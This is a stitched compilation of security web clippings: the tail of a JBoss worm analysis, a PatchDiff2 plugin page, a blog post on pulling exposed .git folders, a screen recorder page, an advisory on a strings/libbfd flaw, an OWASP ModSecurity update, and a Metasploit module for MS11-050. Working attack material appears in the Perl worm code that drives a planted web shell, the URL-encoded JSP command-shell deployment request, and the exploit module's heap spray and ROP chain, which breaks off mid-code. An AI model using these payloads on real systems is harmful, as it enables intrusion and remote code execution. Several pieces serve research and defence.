    print $sckb "GET /zecmd/zecmd.jsp?comment=tar+xzvf+kisses.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n";
    sleep(3);
    close($sckb);
    my $sckd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>80, TimeOut=>120) or goto nta;
    print $sckd "GET /zecmd/zecmd.jsp?comment=perl+linda.pl HTTP/1.0\r\nConnection: Close\r\n\r\n";
    sleep(2);
    close($sck);
     }
    nta:
    close($sck);
    }
    }
     
    
    ==============================
    
    5. Exploit Payload with Shellcode:
    
    "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e% 74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20% 29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n"
    
    =================================
    Encoeded using Metasploit msfencode?  Possibly, I leave that to the curious experts :-)
    
    
    Thank you, hope this helps in securing your JBoss servers.
    Ron
    
    Twitter: @guerilla7
    
[/code]

# PatchDiff 2

**Created:**| _9/3/2009 9:52:56 AM_  
---|---  
**Updated:**| _9/3/2009 9:53:12 AM_  
**Author:**| __  
**Tags:**| _Exploit iDA reversing plugin_  
  

# PatchDiff2 - A patch analysis plugin for IDA

  
**News** :  
02/12/2009: PatchDiff 2.0.6 released:

  * Switchs to graph call for checksum instead of instruction frequency
  * Removes invalid C++ classes/structs flagged as functions

08/19/2008: PatchDiff 2.0.5 released:

  * Adds string references to the signature
  * Fixes IPC close when option is disabled

07/22/2008:PatchDiff 2.0.4 released:

  * Requires at least IDA 5.2
  * Adds save backup results to IDB
  * Adds Unmatch/Set match/Switch match submenus
  * Adds "pipe" support to keep second IDA instance open
    * menu Options/PatchDiff2 to disable/enable it per IDB
    * registry HKLM\SOFTWARE\Tenable\PatchDiff2 IPC \(DWORD\) for the default setting
  * Uses demangled function names
  * Ignores duplicated names

07/07/2008:PatchDiff 2.0.3 released:

  * Adds support for C++ classes in the signature engine \(improves results against c++ targets\)
  * No longer relies on IDA code refs \(due to bad references\)
  * x86: merges inc reg and dec reg to one instruction
  * x86: handles jmp $2/$5
  * x86: stops block tracing on int3
  * Bugfix: Does not try to display graphs that IDA can't handle

07/02/2008:PatchDiff 2.0.2 released - now supports IDA 5.1 and 5.2

06/27/2008:PatchDiff 2.0.1 released

  

### Description

PatchDiff2 is a plugin for the Windows version of the IDA dissassembler that
can analyze two IDB files and find the differences between both. PatchDiff2 is
free and fully integrates with the latest version of IDA \(5.2\).

The plugin can perform the following tasks :

  * Display the list of identical functions
  * Display the list of matched functions
  * Display the list of unmatched functions \(with the CRC\)
  * Display a flow graph for identical and matched functions

The main purpose of this plugin is to be fast and give accurate results when
working on a security patch or a hotfix. Therefore this tool is not made to
find similar functions between two different programs.

Patchdiff2 supports all processors that IDA can handle and is available in two
versions: 32 bit and a 64 bit.

  

patchdiff2 is freely distributed to the community by Tenable Network Security
in the hope it will be useful to you and help research engineers to better
analyze different patches. However, Tenable does not provide support for this
tool and offers no garantee regarding its use or output. Please read the end-
user license agreement before using this program.

### Demo

<img src='img/Temp2_6155.png' />  
_\(click on the image above to see the demo video\)_

### How to use it

PatchDiff2 can be launched through the plugins menu or by the keyboard
shortcut 'CTRL+8'. When the analysis is done, Identical, unmatched and matched
functions are displayed in separate lists.

Flow graphs of matched and identical functions can be displayed by doing a
rigth click on the given functions and by clicking on 'Display graphs'.

Graph nodes can be synchronized by double clicking on a given node. Graphs use
the following colors:

  * white: identical nodes
  * grey: unmatched nodes
  * red: matched nodes
  * tan: identical nodes \(different crc\)

### Installation

Copy the files "patchdiff2.plw" and "patchdiff2.p64" into the IDA plugins
directory \(usually C:\Program Files\IDA\plugins\) and restart IDA.

### Download

You can download PatchDiff2 2.0.6 here

### Feedback

You can send your feedback about patchdiff2 to pdiff@nessus.org

### Author

PatchDiff2 was written by Nicolas Pouvesle, from Tenable Network Security,
Inc.

# SkullSecurity » Blog Archive » Using "Git Clone" to get Pwn3D

**Created:**| _10/30/2012 10:42:25 AM_  
---|---  
**Updated:**| _10/30/2012 10:42:25 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Git_  
  

## Using "Git Clone" to get Pwn3D

Filed under: Hacking, Nmap, Tools

Hey everybody\!

While I was doing a pentest last month, I discovered an attack I didn't
previously know, and I thought I'd share it. This may be a Christopher
Columbus moment - discovering something that millions of people already knew
about - but I found it pretty cool so now you get to hear about it\!

One of the first things I do when I'm looking at a Web app - and it's okay to
make a lot of noise - is run the http-enum.nse Nmap script. This script uses
the http-fingerprints.lua file to find any common folders on a system
\(basically brute-force browsing\). I'm used to seeing admin folders, tmp
folders, and all kinds of other interesting stuff, but one folder in
particular caught my eye this time - /.git.

Now, I'll admit that I'm a bit of an idiot when it comes to git. I use it from
time to time, but not in any meaningful way. So, I had to hit up my friend
@mogigoma. He was on his cellphone, but managed to get me enough info to make
this attack work.

First, I tried to use `git clone` to download the source. That failed, and I
didn't understand why, so I gave up that avenue right away.

Next, I wanted to download the /.git folder. Since directory listings were
turned on, this was extremely easy:

[code]

    $ mkdir git-test
    $ cd git-test
    $ wget --mirror --include-directories=/.git http://www.target.com/.git
[/code]

That'll take some time, depending on the size of the repository. When it's all
done, go into the folder that wget created and use git --reset:

[code]

    $ cd www.site.com
    $ git reset --hard
    HEAD is now at [...]
[/code]

Then look around - you have their entire codebase\!

[code]

    $ ls
    db  doc  robots.txt  scripts  test
    
[/code]

Browse this for interesting scripts \(like test scripts?\), passwords,
configuration details, deployment, addresses, and more\! You just turned your
blackbox pentest into a whitebox one, and maybe you got some passwords in the
deal\! You can also use "git log" to get commit messages, "git remote" to get
a list of interesting servers, "git branch -a" to get a list of branches, etc.

## Why does this happen?

When you clone a git repository, it creates a folder for git's metadata - .git
- in the folder where you check it out. This is what lets you do a simple "git
pull" to get new versions of your files, and can make deployment/upgrades a
breeze. In fact, I intentionally leave .git folders in some of my sites - like
my hackerspace, SkullSpace. You can find this exact code on github, so there's
no privacy issue; this only applies to commercial sites where the source isn't
available, or where more than just the code is bring stored in source control.

There are a few ways to prevent this:

  * Remove the .git folder after you check it out
  * Use a .htaccess file \(or apache configuration file\) to block access to .git
  * Keep the .git folder one level up - in a folder that's not available to the Web server
  * Use a framework - like Rails or .NET - where you don't give users access to the filesystem

There may be other ways as well, use what makes sense in your environment\!

## Finding this in an automated way

A friend of mine - Alex Weber \- wrote an Nmap script \(his first ever\!\) to
detect this vulnerability and print some useful information about the git
repository\! This script will run by default when you run `nmap -A`, or you
can specifically request it by running `nmap --script=http-git <target>`. You
can quickly scan an entire network by using a command like:

[code]

    nmap -sS -PS80,81,443,8080,8081 -p80,81,443,8080,8081 --script=http-git <target>
[/code]

The output for an affected host will look something like:

[code]

    PORT     STATE  SERVICE
    80/tcp   open   http
    | http-git:
    |   Potential Git repository found at 206.220.193.152:80/.git/ (found 5 of 6
    expected files)
    |   Repository description: Unnamed repository; edit this file 'description' to name
    the...
    |   Remote: https://github.com/skullspace/skullspace.ca.git
    |_   -> Source might be at https://github.com/skullspace/skullspace.ca
    
[/code]

And that's all there is to it\! Have fun, and let me know if you have any
interesting results so I can post a followup\!

# Istanbul - GNOME Live\!

**Created:**| _10/24/2010 6:32:19 PM_  
---|---  
**Updated:**| _10/24/2010 6:32:41 PM_  
**Author:**| __  
**Tags:**| _video Linux software Design_  
  

## About

Istanbul is a desktop session recorder for the Free Desktop. It records your
session into an Ogg Theora video file. To start the recording, you click on
its icon in the notification area. To stop you click its icon again. It works
on GNOME, KDE, XFCE and others.

### Why the name Istanbul?

I named it Istanbul as a tribute to Liverpool's 5th European Cup triumph in
Istanbul on May 25th 2005

### Screenshots & Screencasts

  * A screencast of Istanbul screencasting itself is available for download or for viewing embedded in your browser.

  

# lcamtuf's blog: PSA: don't run 'strings' on untrusted files
\(CVE-2014-8485\)

**Created:**| _10/26/2014 10:27:12 PM_  
---|---  
**Updated:**| _10/26/2014 10:27:12 PM_  
**Author:**| __  
**Tags:**| __  
  

# PSA: don't run 'strings' on untrusted files \(CVE-2014-8485\)

Many shell users, and certainly most of the people working in computer
forensics or other fields of information security, have a habit of running
_/usr/bin/strings_ on binary files originating from the Internet. Their
understanding is that the tool simply scans the file for runs of printable
characters and dumps them to _stdout_ \- something that is very unlikely to
put you at any risk.  
  
It is much less known that the Linux version of _strings_ is an integral part
of _GNU binutils_ , a suite of tools that specializes in the manipulation of
several dozen executable formats using a bundled library called _libbfd_.
Other well-known utilities in that suite include _objdump_ and _readelf_.  
  
Perhaps simply by the virtue of being a part of that bundle, the _strings_
utility tries to leverage the common _libbfd_ infrastructure to detect
supported executable formats and "optimize" the process by extracting text
only from specific sections of the file. Unfortunately, the underlying library
can be hardly described as safe: a quick pass with _afl_ \(and probably with
any other competent fuzzer\) quickly reveals a range of troubling and likely
exploitable out-of-bounds crashes due to very limited range checking, say:

[code]

    $ wget http://lcamtuf.coredump.cx/strings-bfd-badptr2
    ...
    $ strings strings-bfd-badptr2
    Segmentation fault
    ...
    strings[24479]: segfault at 4141416d ip 0807a4e7 sp bf80ca60 error 4 in strings[8048000+9a000]
    ...
          while (--n_elt != 0)
            if ((++idx)->shdr->bfd_section)                                ← Read from an attacker-controlled pointer
              elf_sec_group (idx->shdr->bfd_section) = shdr->bfd_section;  ← Write to an attacker-controlled pointer
    ...
    (gdb) p idx->shdr
    $1 = (Elf_Internal_Shdr *) 0x41414141
    
[/code]

  
  
The 0x41414141 pointer being read and written by the code comes directly from
that proof-of-concept file and can be freely modified by the attacker to try
overwriting program control structures. Many Linux distributions ship
_strings_ without ASLR, making potential attacks easier and more reliable - a
situation reminiscent of one of the recent bugs in _bash_.  
  
Interestingly, the problems with the utility aren't exactly new; Tavis spotted
the first signs of trouble some nine years ago.  
  
In any case: the bottom line is that if you are used to running _strings_ on
random files, or depend on any _libbfd_ -based tools for forensic purposes,
you should probably change your habits. For _strings_ specifically, invoking
it with the _-a_ parameter seems to inhibit the use of _libbfd_. Distro
vendors may want to consider making the _-a_ mode default, too.  
  
_PS. I actually had the libbfd fuzzing job running onthis thing\! _

# Open Web Application Security Project: OWASP ModSecurity Core Rule Set

**Created:**| _6/7/2010 10:43:05 AM_  
---|---  
**Updated:**| _6/7/2010 10:43:05 AM_  
**Author:**| __  
**Tags:**| _web-app-sec setup Firewalls awesome_  
  

### OWASP ModSecurity Core Rule Set

Hello OWASP Leaders. I wanted to let you all know that a new version of the
OWASP ModSecurity Core Rule Set \(CRS\) is now available \(v2.0.7\).

  

There are some interesting updates, most notably -

  

1\) The new CSRF protection ruleset.

  

The ruleset uses ModSecurity's Content Injection capabilities to append an
updated version of the csrf.js file from the OWASP CSRFGuard Project
\(http://code.google.com/p/owaspcsrfguard/source/browse/trunk/main/OWASP-
CSRFGuard/src/org/owasp/csrfguard/handlers/csrf.js\) to the end of the
response data. ModSecurity generates the CSRF token and inserts it into the JS
data and then validates it on subsequent requests.

The advantage of using ModSecurity for this is if you are running it on an
Apache reverse proxy, then you add in CSRF tokens to any back-end web app
regardless of the language.

  

A call for assistance - the csrf.js code works well however it should probably
be extended to handle AJAX calles, etc... If there are any JS ninjas who want
to tackle updating the JS code to perhaps add the csrf tokens using OnSubmit
or something, let me know.

  

2\) App Defect Rule - Missing HTTPOnly flags

  

One ruleset will identify if the HTTPOnly flag is missing when the app hands
out Set-Cookie SessionIDs. It can optionally fix the issue by passing ENV data
to Apache which will append the HTTPOnly flag through a ResponseHeader
directive.

  

3\) App Defect Rule - Missing Output Escaping of User-Supplied Data

  

This is an interesting concept where we are attempting to do some crude
Dynamic Taint Propagation tracking related to XSS/Missing Output Escaping. As
opposed to trying to identify and block potential XSS payloads on the inbound,
we are instead focusing in on the underlying vuln - resources that don't
properly track user-supplied data and encode/escape it when given back to
clients.

  

The ruleset basically looks for inbound data that contains meta-characters
that are often used in XSS attacks \(<,>,/, etc...\) and then it stores the
entire parameter data in a temporary variable and then inspects the response
body to see if the same exact payload is present. If it is, then the app is
not properly escaping it. This ruleset works in limited testing but I am
interested to see how it fairs once the ModSecurity community starts testing
it out :\)

  

Please let me know if anyone has any questions, comments or would like to help
out with future  

CRS efforts.

  

Cheers.

# MS11-050 IE mshtml\!CObjectElement Use After Free

**Created:**| _6/21/2011 9:09:40 AM_  
---|---  
**Updated:**| _6/21/2011 9:09:40 AM_  
**Author:**| __  
**Tags:**| _Exploit windows_  
  

`##`  
---  
`# $Id: ms11_050_mshtml_cobjectelement.rb 12962 2011-06-17 01:56:20Z swtornio
$`  
---  
`##`  
---  
---  
`##`  
---  
`# This file is part of the Metasploit Framework and may be subject to`  
---  
`# redistribution and commercial restrictions. Please see the Metasploit`  
---  
`# Framework web site for more information on licensing and terms of use.`  
---  
`# http://metasploit.com/framework/`  
---  
`##`  
---  
---  
`require` `'msf/core'`  
---  
---  
`class` `Metasploit3 < Msf::Exploit::Remote`  
---  
` ``Rank = GreatRanking`  
---  
---  
` ``include Msf::Exploit::Remote::HttpServer::``HTML`  
---  
` ``include Msf::Exploit::Remote::BrowserAutopwn`  
---  
` ``autopwn_info({`  
---  
` ``:ua_name` `=> HttpClients::``IE``,`  
---  
` ``:ua_minver` `=>` `"7.0"``,`  
---  
` ``:ua_maxver` `=>` `"8.0"``,`  
---  
` ``:javascript` `=>` `true``,`  
---  
` ``:os_name` `=> OperatingSystems::``WINDOWS``,`  
---  
` ``:vuln_test` `=>` `nil``,`  
---  
` ``})`  
---  
---  
` ``def` `initialize(info={})`  
---  
` ``super``(update_info(info,`  
---  
` ``'Name'` `=>` `"MS11-050 IE mshtml!CObjectElement Use After Free"``,`  
---  
` ``'Description'` `=> %q{`  
---  
` ``This` `module` `exploits a use-after-free vulnerability` `in` `Internet
Explorer. The`  
---  
` ``vulnerability occurs` `when` `an invalid <object> tag exists` `and` `other
elements overlap/cover`  
---  
` ``where the object tag should be` `when` `rendered (due to their
styles/positioning). The`  
---  
` ``mshtml!CObjectElement is` `then` `freed from memory because it is invalid.
However, the`  
---  
` ``mshtml!CDisplay object` `for` `the page continues to keep a reference to
the freed <object>` `and`  
---  
` ``attempts to call a function on it, leading to the use-after-free.`  
---  
` ``},`  
---  
` ``'License'` `=>` `MSF_LICENSE``,`  
---  
` ``'Version'` `=>` `"$Revision: 12962 $"``,`  
---  
` ``'Author'` `=>`  
---  
` ``[`  
---  
` ``'d0c_s4vage'``,`  
---  
` ``],`  
---  
` ``'References'` `=>`  
---  
` ``[`  
---  
` ``[``'CVE'``,` `'2011-1256'``],`  
---  
` ``[``'OSVDB'``,` `'72948'``],`  
---  
` ``[``'MSB'``,` `'MS11-050'``],`  
---  
` ``[``'URL'``,` `'http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-
kill-bugs-patch.html'``],`  
---  
` ``],`  
---  
` ``'DefaultOptions'` `=>`  
---  
` ``{`  
---  
` ``'EXITFUNC'` `=>` `'process'``,`  
---  
` ``'InitialAutoRunScript'` `=>` `'migrate -f'``,`  
---  
` ``},`  
---  
` ``'Payload'` `=>`  
---  
` ``{`  
---  
` ``'Space'` `=>` `500``,`  
---  
` ``'BadChars'` `=>` `"\x00\x09\x0a\x0d'\\"``,`  
---  
` ``'StackAdjustment'` `=> -``3500``,`  
---  
` ``},`  
---  
` ``'Platform'` `=>` `'win'``,`  
---  
` ``'Targets'` `=>`  
---  
` ``[`  
---  
` ``[` `'Automatic'``, { } ],`  
---  
---  
` ``# In IE6 the mshtml!CObjectElement size is 0xac`  
---  
` ``[`  
---  
` ``'Win XP SP3 Internet Explorer 7'``,` `# 7.0.5730.13`  
---  
` ``{`  
---  
` ``# sizeof(mshtml!CObjectElement)`  
---  
` ``'FreedObjSize'` `=> 0xb0,`  
---  
` ``'FakeObjCount'` `=> 0x4000,`  
---  
` ``'FakeObjCountKeep'` `=> 0x2000,`  
---  
` ``'ForLoopNumObjects'` `=>` `3``,`  
---  
` ``'FreedObjOverwritePointer'``=>0x0c0c0c0c,`  
---  
` ``'FreedObjOffsetAlignSize'``=>``0``,`  
---  
` ``'ROP'` `=>` `false``,`  
---  
` ``}`  
---  
` ``],`  
---  
---  
` ``[`  
---  
` ``'Win XP SP3 Internet Explorer 8 (no DEP)'``,` `# 8.0.6001.18702`  
---  
` ``{`  
---  
` ``# sizeof(mshtml!CObjectElement)`  
---  
` ``'FreedObjSize'` `=> 0xe0,` `# 0xdc rounded up`  
---  
` ``'FakeObjCount'` `=> 0x8000,`  
---  
` ``'FakeObjCountKeep'` `=> 0x3000,`  
---  
` ``'ForLoopNumObjects'` `=>` `5``,`  
---  
` ``'FreedObjOverwritePointer'``=>0x0c0c0c0c,`  
---  
` ``'FreedObjOffsetAlignSize'``=>``0``,`  
---  
` ``'ROP'` `=>` `false``,`  
---  
` ``}`  
---  
` ``],`  
---  
---  
` ``[`  
---  
` ``'Win XP SP3 Internet Explorer 8'``,`  
---  
` ``{`  
---  
` ``'FreedObjSize'` `=> 0xe0,` `# 0xdc rounded up`  
---  
` ``'FakeObjCount'` `=> 0x8000,`  
---  
` ``'FakeObjCountKeep'` `=> 0x3000,`  
---  
` ``'ForLoopNumObjects'` `=>` `5``,`  
---  
` ``'FreedObjOverwritePointer'``=>0x0c0c0c0c,`  
---  
` ``'FreedObjOffsetAlignSize'``=>``2``,`  
---  
` ``#'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll`  
---  
` ``'StackPivot'` `=> 0x7E45F257,` `#xchg eax,esp - USER32.dll`  
---  
` ``'ROP'` `=>` `true``,`  
---  
` ``}`  
---  
` ``],`  
---  
---  
` ``[`  
---  
` ``'Debug Target (Crash)'``, {}`  
---  
` ``],`  
---  
` ``],`  
---  
` ``'DisclosureDate'` `=>` `"Jun 16 2011"``,`  
---  
` ``'DefaultTarget'` `=>` `0``))`  
---  
` ``end`  
---  
---  
` ``def` `auto_target(cli, request)`  
---  
` ``agent = request.headers[``'User-Agent'``]`  
---  
` ``if` `agent =~ /``MSIE` `8``\.``0``/`  
---  
` ``mytarget = targets[``3``]` `# IE 8`  
---  
` ``elsif` `agent =~ /``MSIE` `7``\.``0``/`  
---  
` ``mytarget = targets[``1``]`  
---  
` ``else`  
---  
` ``print_error(``"Unknown User-Agent #{agent} from
#{cli.peerhost}:#{cli.peerport}"``)`  
---  
` ``end`  
---  
---  
` ``mytarget`  
---  
` ``end`  
---  
---  
---  
` ``# 3/22/2011`  
---  
` ``# fully patched x32 WinXP SP3, IE 8.0.6001.18702`  
---  
` ``def` `winxp_sp3_rva`  
---  
` ``{`  
---  
` ``#"kernel32!VirtualAlloc" => 0x7c809af1,`  
---  
` ``"kernel32!VirtualAlloc"` `=> 0x7c809ae1,`  
---  
` ``"ntdll!memcpy"` `=> 0x7c901db3,`  
---  
` ``}`  
---  
` ``end`  
---  
---  
` ``def` `compile_rop(rop_stack)`  
---  
` ``rva = winxp_sp3_rva()`  
---  
` ``num_random =` `0`  
---  
` ``rop_stack.map` `do` `|rop_val|`  
---  
` ``case` `rop_val`  
---  
` ``when` `String`  
---  
` ``if` `rop_val ==` `"random"`  
---  
` ``# useful for debugging`  
---  
` ``# num_random += 1`  
---  
` ``# 0xaabbcc00 + num_random`  
---  
` ``rand(0xffffffff)`  
---  
` ``else`  
---  
` ``raise` `RuntimeError,` `"Unable to locate key: #{rop_val.inspect}"`
`unless` `rva[rop_val]`  
---  
` ``rva[rop_val]`  
---  
` ``end`  
---  
` ``when` `Integer`  
---  
` ``rop_val`  
---  
` ``else`  
---  
` ``raise` `RuntimeError,` `"unknown rop_val: #{rop_val.inspect},
#{rop_val.class}"`  
---  
` ``end`  
---  
` ``end``.pack(``"V*"``)`  
---  
` ``end`  
---  
---  
` ``def` `on_request_uri(cli, request)`  
---  
` ``mytarget = target`  
---  
` ``if` `target.name ==` `'Automatic'`  
---  
` ``mytarget = auto_target(cli, request)`  
---  
` ``unless` `mytarget`  
---  
` ``send_not_found(cli)`  
---  
` ``return`  
---  
` ``end`  
---  
` ``end`  
---  
` ``@mytarget` `= mytarget`  
---  
` ``@debug` `=` `true` `if` `mytarget == targets[``4``]`  
---  
---  
` ``return` `if` `((p = regenerate_payload(cli)) ==` `nil``)`  
---  
` `  
---  
` ``id_name = rand_text_alpha(``5``)`  
---  
` ``dir_name = rand_text_alpha(``3``)`  
---  
---  
` ``if` `@debug`  
---  
` ``data = <<-``DATA`  
---  
` ``<html>`  
---  
` ``<body>`  
---  
` ``<script language=``'javascript'``>`  
---  
` ``document.body.innerHTML +=` `"<object align='right' hspace='1000'
width='1000'></object>"``;`  
---  
` ``document.body.innerHTML +=` `"<a id='#{id_name}'
style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-
indent:-1000px' ></a>"``;`  
---  
` ``document.body.innerHTML +=` `"AAAAAAA"``;`  
---  
` ``document.body.innerHTML +=` `"<strong style='font-size:1000pc;margin:auto
-1000cm auto auto;' dir='#{dir_name}'></strong>"``;`  
---  
` ``</script>`  
---  
` ``</body>`  
---  
` ``</html>`  
---  
` ``DATA`  
---  
---  
` ``print_status(``"Triggering #{self.name} vulnerability at
#{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})..."``)`  
---  
` ``send_response(cli, data, {` `'Content-Type'` `=>` `'text/html'` `})`  
---  
` ``return`  
---  
` ``end`  
---  
---  
` ``raw_shellcode = payload.encoded`  
---  
` ``shellcode = Rex::Text.to_unescape(raw_shellcode,
Rex::Arch.endian(mytarget.arch))`  
---  
---  
` ``spray =` `nil`  
---  
` ``rop_shellcode_spray =` `nil`  
---  
---  
` ``obj_overwrite_ptr =
[``@mytarget``[``'FreedObjOverwritePointer'``]].pack(``"V"``)`  
---  
---  
` ``if` `@mytarget``[``'ROP'``]`  
---  
` ``rop_stack = []`  
---  
` ``0x1f.times` `do` `|i|`  
---  
` ``rop_stack <<` `"random"`  
---  
` ``end`  
---  
---  
` ``idx = -``1`  
---  
` ``idx +=` `1` `; rop_stack[idx] =` `"kernel32!VirtualAlloc"` `# 1:`  
---  
` ``idx +=` `1` `; rop_stack[idx] =` `"ntdll!memcpy"` `# 2:ret 10 to this
after VirtualAlloc`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x7f000000 ` `# 1:VirtualAlloc:lpAddress`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x4000 ` `# 1:VirtualAlloc:dwSize`  
---  
` ``idx +=` `1` `; rop_stack[idx] = (0x1000 | 0x2000) ` `# 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x40 ` `# 1:VirtualAlloc:flProtect rwx`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x7f001000 ` `# 3:into this after memcpy`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x7f001000 ` `# 2:memcpy:dst`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x23000100 ` `# 2:memcpy:src`  
---  
` ``idx +=` `1` `; rop_stack[idx] = 0x2fff ` `# 2:memcpy:size`  
---  
---  
` ``# align the rest of it`  
---  
` ``back = rop_stack.slice!((rop_stack.length-``1``)-``2``, rop_stack.length)`  
---  
` ``rop_stack = back + rop_stack`  
---  
---  
` ``rop_stack <<` `@mytarget``[``'StackPivot'``]`  
---  
---  
` ``# align the stack for 0c0c0c0c`  
---  
` ``front = rop_stack.slice!(``0``,` `19``)`  
---  
` ``rop_stack = rop_stack + front`  
---  
---  
` ``# resolve strings in the rop_stack array (kernel32!VirtualAlloc, random,
etc)`  
---  
` ``rop = compile_rop(rop_stack)`  
---  
---  
` ``nops = make_nops(0x1000 - raw_shellcode.length)`  
---  
` ``nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))`  
---  
---  
` ``#spray up to 0x23000000`  
---  
` ``rop_shellcode_spray = <<-``JS`  
---  
` ``var shellcode = unescape(``"#{shellcode}"``);`  
---  
` ``var nops = unescape(``"#{nops}"``);`  
---  
` ``while``(nops.length < 0x1000) nops += nops;`  
---  
` ``var shell_heapblock = nops.substring(``0``, 0x800-shellcode.length) +
shellcode;`  
---  
` ``while``(shell_heapblock.length < 0x40000) shell_heapblock +=
shell_heapblock;`  
---  
` ``var shell_finalspray = shell_heapblock.substring(``0``,
(0x20000-``6``)/``2``);`  
---  
` ``for``(var shell_counter =` `0``; shell_counter < 0x1000; shell_counter++)
{ heap_obj.alloc(shell_finalspray); }`  
---  
` ``JS`  
---  
---  
` ``spray = rop`  
---  
` ``shellcode =` `""`  
---  
` ``else`  
---  
` ``spray = obj_overwrite_ptr`  
---  
` ``end`  
---  
---  
` ``spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))`  
---  
---  
` ``js = <<-``JS`  
---  
` ``heap_obj =` `new` `heapLib.ie(0x20000);`  
---  
` ``var heapspray = unescape(``"#{spray}"``);`  
---  
` ``while``(heapspray.length < 0x1000) heapspray += heapspray;`  
---  
` ``var shellcode = unescape(``"#{shellcode}"``);`  
---  
` ``var heapblock = heapspray.substring(``0``, (0x800-shellcode.length)) +
shellcode;`  
---  
` ``var offset =` `#{[targets[1], targets[2]].include?(@mytarget) ? "0x400" :
"0"};`  
---  
` ``var front = heapblock.substring(``0``, offset);`  
---  
` ``var` `end` `= heapblock.substring(offset);`  
---  
` ``heapblock =` `end` `+ front;`  
---  
` ``while``(heapblock.length < 0x20000) heapblock += heapblock;`  
---  
` ``finalspray = heapblock.substring(``0``, (0x10000-``6``)/``2``);`  
---  
` ``for``(var counter1 =` `0``; counter1 < 0x1000; counter1++) {
heap_obj.alloc(finalspray); }`  
---  
---  
` ``#{rop_shellcode_spray}`  
---  
---  
` ``var obj_overwrite = unescape(``"#{Rex::Text.to_unescape(obj_overwrite_ptr,
Rex::Arch.endian(mytarget.arch))}"``);`  
---  
` ``while``(obj_overwrite.length <` `#{@mytarget['FreedObjSize']}) {
obj_overwrite += obj_overwrite; }`  
---  
` ``obj_overwrite = obj_overwrite.slice(``0``,
(``#{@mytarget['FreedObjSize']}-6)/2);`  
---  
---  
` ``for``(var num_objs_counter =` `0``; num_objs_counter <`
`#{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {`  
---  
` ``document.body.innerHTML +=` `"<object align='right' hspace='1000'
width='1000'>TAG_1</object>"``;`  
---  
` ``}`  
---  
---  
` ``for``(var counter4 =` `0``; counter4 <` `#{@mytarget['FakeObjCountKeep']};
counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }`  
---  
` ``for``(var counter5 =` `0``; counter5 <` `#{@mytarget['FakeObjCountKeep']};
counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }`  
---  
---  
` ``document.body.innerHTML +=` `"<a id='tag_3'
style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-
indent:-1000px' >TAG_3</a>"``;`  
---  
